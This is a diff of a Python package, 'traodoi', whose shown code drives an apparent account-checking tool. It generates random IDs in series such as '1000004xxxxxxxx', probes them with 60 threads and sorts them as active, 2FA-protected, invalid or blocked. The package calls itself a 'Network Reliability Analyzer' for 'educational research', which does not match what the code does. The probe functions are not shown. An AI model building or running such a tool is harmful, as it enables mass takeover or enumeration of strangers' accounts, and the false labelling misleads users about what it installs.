+ fut = pool.submit(probe_method_b, eid, stats)
501
+ else:
502
+ fut = pool.submit(probe_method_c, eid, stats)
503
+ futures.append(fut)
504
+ with last_id_lock:
505
+ last_processed_id = str(eid)
506
+ update(); live.refresh(); time.sleep(0.05)
507
+ for fut in futures:
508
+ fut.result(); update(); live.refresh()
509
+ console.print(f"\n[green]Batch completed! ACTIVE:{alive_marker} 2FA:{twofa_marker} INVALID:{dead_marker}[/green]")
510
+ input("[cyan]Press Enter...[/cyan]")
511
+
512
+ def run_series_2009():
513
+ global alive_marker, twofa_marker, dead_marker, temp_block_marker, unknown_marker, unverified_email_marker, unverified_phone_marker, last_processed_id
514
+ clear_display()
515
+ show_logo()
516
+ console.print("[cyan]Batch: Series 2009 (1000004xxxx)[/cyan]")
517
+ limit = int(Prompt.ask("[yellow]Number of test IDs[/yellow]", default="300"))
518
+ ids = ['1000004' + ''.join(random.choices('0123456789', k=8)) for _ in range(limit)]
519
+ console.print("\n[bold magenta]Probe Mode:[/bold magenta] A=Fast B=Precise C=Hybrid")
520
+ mode = Prompt.ask("[cyan]Choose A/B/C[/cyan]", choices=["A","B","C"], default="C")
521
+ stats = {"loop":0,"oks":0,"cps":0}
522
+ layout = Layout()
523
+ layout.split(Layout(name="header",size=3),Layout(name="status",size=6),Layout(name="footer",size=3))
524
+ with Live(layout, refresh_per_second=10, screen=True) as live:
525
+ layout["header"].update(Panel("[bold cyan]NetScan - Series 2009[/bold cyan]", style="cyan"))
526
+ def update():
527
+ p = stats['loop']; ok = stats['oks']; cp = stats['cps']
528
+ with last_id_lock:
529
+ cur = last_processed_id if last_processed_id else "..."
530
+ layout["status"].update(Panel(f"[bold cyan]Progress: {p} | OK:{ok} | BLOCK:{cp}[/bold cyan]\nLast: {cur}\nACTIVE:{alive_marker} 2FA:{twofa_marker} INVALID:{dead_marker}", title="STATUS", border_style="cyan"))
531
+ update()
532
+ with tred(max_workers=60) as pool:
533
+ futures = []
534
+ for eid in ids:
535
+ if mode == 'A':
536
+ fut = pool.submit(probe_method_a, eid, stats)
537
+ elif mode == 'B':
538
+ fut = pool.submit(probe_method_b, eid, stats)
539
+ else:
540
+ fut = pool.submit(probe_method_c, eid, stats)
541
+ futures.append(fut)
542
+ with last_id_lock:
543
+ last_processed_id = str(eid)
544
+ update(); live.refresh(); time.sleep(0.05)
545
+ for fut in futures:
546
+ fut.result(); update(); live.refresh()
547
+ console.print(f"\n[green]Batch completed! ACTIVE:{alive_marker} 2FA:{twofa_marker} INVALID:{dead_marker}[/green]")
548
+ input("[cyan]Press Enter...[/cyan]")
549
+
550
+ def main():
551
+ while True:
552
+ choice = show_main_panel()
553
+ if choice == "1":
554
+ sub = mode_selection()
555
+ if sub == "1":
556
+ run_legacy_range()
557
+ elif sub == "2":
558
+ run_series_100003()
559
+ elif sub == "3":
560
+ run_series_2009()
561
+ else:
562
+ continue
563
+ elif choice == "2":
564
+ show_summary()
565
+ else:
566
+ console.print("[bold red]Exiting.[/bold red]")
567
+ sys.exit(0)
568
+
569
+ if __name__ == "__main__":
570
+ clear_display()
571
+ show_logo()
572
+ console.print("[bold green]═══════════════════════════════════════════[/bold green]")
573
+ console.print("[bold purple] NetScan Pro - Network Reliability Analyzer[/bold purple]")
574
+ console.print("[bold green]═══════════════════════════════════════════[/bold green]")
575
+ time.sleep(1.5)
576
+ main()
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,14 @@
1
+ Metadata-Version: 2.4
2
+ Name: traodoi
3
+ Version: 1.0.0
4
+ Summary: Advanced web data processing and response analyzer for educational research
5
+ Author-email: Research Team <research@example.com>
6
+ License: MIT
7
+ Project-URL: Homepage, https://github.com/yoores
8
+ Requires-Python: >=3.8
9
+ Description-Content-Type: text/markdown
10
+ Requires-Dist: requests
11
+ Requires-Dist: beautifulsoup4
12
+ Requires-Dist: rich
13
+ Requires-Dist: urllib3
14
+ Requires-Dist: cryptography
@@ -0,0 +1,10 @@
1
+ README.md
2
+ pyproject.toml
3
+ scr/traosub/__init__.py
4
+ scr/traosub/core.py
5
+ traodoi.egg-info/PKG-INFO
6
+ traodoi.egg-info/SOURCES.txt
7
+ traodoi.egg-info/dependency_links.txt
8
+ traodoi.egg-info/entry_points.txt
9
+ traodoi.egg-info/requires.txt
10
+ traodoi.egg-info/top_level.txt
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ qiangscan = traosub.core:main
@@ -0,0 +1,5 @@
1
+ requests
2
+ beautifulsoup4
3
+ rich
4
+ urllib3
5
+ cryptography
@@ -0,0 +1 @@
1
+ scr